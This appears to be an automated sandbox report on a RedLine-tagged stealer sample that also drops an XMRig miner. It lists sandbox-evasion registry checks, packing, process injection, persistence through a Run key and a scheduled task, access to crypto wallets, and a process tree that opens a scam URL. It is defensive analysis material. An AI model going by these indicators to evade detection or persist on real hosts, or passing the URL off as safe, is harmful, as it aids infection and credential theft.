redline | fddc8f5a6d7dd5a4bab21291d07cf528e940bf138d53c70eadaf97152282b734

Virtualization/Sandbox Evasion

Processes:

setup.exesetup23.exeupdater.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup23.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/5308-322-0x00007FF7B9F60000-0x00007FF7BA754000-memory.dmp	xmrig
behavioral2/memory/5308-328-0x00007FF7B9F60000-0x00007FF7BA754000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

43 4340 WScript.exe
Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 7 IoCs

Processes:

setu2p.exesetup.exesetup23.exesetup2321.exewatchdog.exeupdater.exeMoUSO.exe

pid process

1492 setu2p.exe
2984 setup.exe
3068 setup23.exe
4316 setup2321.exe
4420 watchdog.exe
6752 updater.exe
5364 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
43	4340	WScript.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
1492	setu2p.exe
2984	setup.exe
3068	setup23.exe
4316	setup2321.exe
4420	watchdog.exe
6752	updater.exe
5364	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/5308-322-0x00007FF7B9F60000-0x00007FF7BA754000-memory.dmp	upx
behavioral2/memory/5308-328-0x00007FF7B9F60000-0x00007FF7BA754000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

updater.exeMoUSO.exesetup.exesetup23.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup23.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup23.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

setup23.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation setup23.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	setup23.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

setup23.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Wine	setup23.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Wine	MoUSO.exe

Themida packer 21 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2984-189-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-190-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-191-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-192-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-194-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-195-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-196-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
behavioral2/memory/2984-211-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2984-251-0x00007FF66E590000-0x00007FF66F289000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/6752-262-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-264-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-266-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-267-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-268-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-270-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
behavioral2/memory/6752-277-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/6752-319-0x00007FF7373F0000-0x00007FF7380E9000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup23.exeupdater.exeMoUSO.exe

pid process

2984 setup.exe
3068 setup23.exe
6752 updater.exe
5364 MoUSO.exe

pid	process
2984	setup.exe
3068	setup23.exe
6752	updater.exe
5364	MoUSO.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

file.exesetu2p.exesetup2321.exewatchdog.exeupdater.exe

description	pid	process	target process
PID 4720 set thread context of 5044	4720	file.exe	RegSvcs.exe
PID 1492 set thread context of 4648	1492	setu2p.exe	RegSvcs.exe
PID 4316 set thread context of 4324	4316	setup2321.exe	MSBuild.exe
PID 4420 set thread context of 104252	4420	watchdog.exe	vbc.exe
PID 6752 set thread context of 5172	6752	updater.exe	conhost.exe
PID 6752 set thread context of 5308	6752	updater.exe	conhost.exe

Drops file in Program Files directory 6 IoCs

Processes:

setup.exesetup.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\01b0c371-1d34-4fe3-9f75-b41f1557c64e.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221025184203.pma	setup.exe
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1476 sc.exe
4852 sc.exe
3856 sc.exe
2832 sc.exe
2596 sc.exe
2648 sc.exe
3872 sc.exe
4740 sc.exe
3836 sc.exe
1628 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1628 schtasks.exe

pid	process
1476	sc.exe
4852	sc.exe
3856	sc.exe
2832	sc.exe
2596	sc.exe
2648	sc.exe
3872	sc.exe
4740	sc.exe
3836	sc.exe
1628	sc.exe

pid	process
1628	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Modifies registry class 2 IoCs

Processes:

RegSvcs.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	RegSvcs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 43 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	43	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

RegSvcs.exemsedge.exemsedge.exeidentity_helper.exesetup23.exesetup2321.exepowershell.exepowershell.exepowershell.exepowershell.exevbc.exepowershell.exeMoUSO.exe

pid	process
5044	RegSvcs.exe
5044	RegSvcs.exe
1736	msedge.exe
1736	msedge.exe
4900	msedge.exe
4900	msedge.exe
3016	identity_helper.exe
3016	identity_helper.exe
3068	setup23.exe
3068	setup23.exe
4316	setup2321.exe
4316	setup2321.exe
4316	setup2321.exe
4316	setup2321.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
3140	powershell.exe
3140	powershell.exe
3140	powershell.exe
1756	powershell.exe
1756	powershell.exe
1756	powershell.exe
104252	vbc.exe
104252	vbc.exe
104252	vbc.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe
5364	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

Processes:

msedge.exe

pid process

4900 msedge.exe
4900 msedge.exe
4900 msedge.exe
4900 msedge.exe
4900 msedge.exe
4900 msedge.exe
4900 msedge.exe

pid	process
644

pid	process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

RegSvcs.exesetup2321.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	5044	RegSvcs.exe
Token: SeDebugPrivilege	4316	setup2321.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeShutdownPrivilege	4880	powercfg.exe
Token: SeCreatePagefilePrivilege	4880	powercfg.exe
Token: SeShutdownPrivilege	5100	powercfg.exe
Token: SeCreatePagefilePrivilege	5100	powercfg.exe
Token: SeShutdownPrivilege	4284	powercfg.exe
Token: SeCreatePagefilePrivilege	4284	powercfg.exe
Token: SeShutdownPrivilege	1296	powercfg.exe
Token: SeCreatePagefilePrivilege	1296	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4908	powershell.exe
Token: SeSecurityPrivilege	4908	powershell.exe
Token: SeTakeOwnershipPrivilege	4908	powershell.exe
Token: SeLoadDriverPrivilege	4908	powershell.exe
Token: SeSystemProfilePrivilege	4908	powershell.exe
Token: SeSystemtimePrivilege	4908	powershell.exe
Token: SeProfSingleProcessPrivilege	4908	powershell.exe
Token: SeIncBasePriorityPrivilege	4908	powershell.exe
Token: SeCreatePagefilePrivilege	4908	powershell.exe
Token: SeBackupPrivilege	4908	powershell.exe
Token: SeRestorePrivilege	4908	powershell.exe
Token: SeShutdownPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeSystemEnvironmentPrivilege	4908	powershell.exe
Token: SeRemoteShutdownPrivilege	4908	powershell.exe
Token: SeUndockPrivilege	4908	powershell.exe
Token: SeManageVolumePrivilege	4908	powershell.exe
Token: 33	4908	powershell.exe
Token: 34	4908	powershell.exe
Token: 35	4908	powershell.exe
Token: 36	4908	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	powershell.exe
Token: SeSecurityPrivilege	4908	powershell.exe
Token: SeTakeOwnershipPrivilege	4908	powershell.exe
Token: SeLoadDriverPrivilege	4908	powershell.exe
Token: SeSystemProfilePrivilege	4908	powershell.exe
Token: SeSystemtimePrivilege	4908	powershell.exe
Token: SeProfSingleProcessPrivilege	4908	powershell.exe
Token: SeIncBasePriorityPrivilege	4908	powershell.exe
Token: SeCreatePagefilePrivilege	4908	powershell.exe
Token: SeBackupPrivilege	4908	powershell.exe
Token: SeRestorePrivilege	4908	powershell.exe
Token: SeShutdownPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeSystemEnvironmentPrivilege	4908	powershell.exe
Token: SeRemoteShutdownPrivilege	4908	powershell.exe
Token: SeUndockPrivilege	4908	powershell.exe
Token: SeManageVolumePrivilege	4908	powershell.exe
Token: 33	4908	powershell.exe
Token: 34	4908	powershell.exe
Token: 35	4908	powershell.exe
Token: 36	4908	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	powershell.exe
Token: SeSecurityPrivilege	4908	powershell.exe
Token: SeTakeOwnershipPrivilege	4908	powershell.exe
Token: SeLoadDriverPrivilege	4908	powershell.exe
Token: SeSystemProfilePrivilege	4908	powershell.exe
Token: SeSystemtimePrivilege	4908	powershell.exe
Token: SeProfSingleProcessPrivilege	4908	powershell.exe
Token: SeIncBasePriorityPrivilege	4908	powershell.exe
Token: SeCreatePagefilePrivilege	4908	powershell.exe
Token: SeBackupPrivilege	4908	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msedge.exe

pid process

4900 msedge.exe
4900 msedge.exe
4900 msedge.exe

pid	process
4900	msedge.exe
4900	msedge.exe
4900	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeRegSvcs.exemsedge.exe

description	pid	process	target process
PID 4720 wrote to memory of 5044	4720	file.exe	RegSvcs.exe
PID 4720 wrote to memory of 5044	4720	file.exe	RegSvcs.exe
PID 4720 wrote to memory of 5044	4720	file.exe	RegSvcs.exe
PID 4720 wrote to memory of 5044	4720	file.exe	RegSvcs.exe
PID 4720 wrote to memory of 5044	4720	file.exe	RegSvcs.exe
PID 5044 wrote to memory of 4900	5044	RegSvcs.exe	msedge.exe
PID 5044 wrote to memory of 4900	5044	RegSvcs.exe	msedge.exe
PID 4900 wrote to memory of 2064	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2064	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 2284	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1736	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1736	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe
PID 4900 wrote to memory of 1400	4900	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4720

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://bestrealprizes.life/?u=lq1pd08&o=hdck0gl
3⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
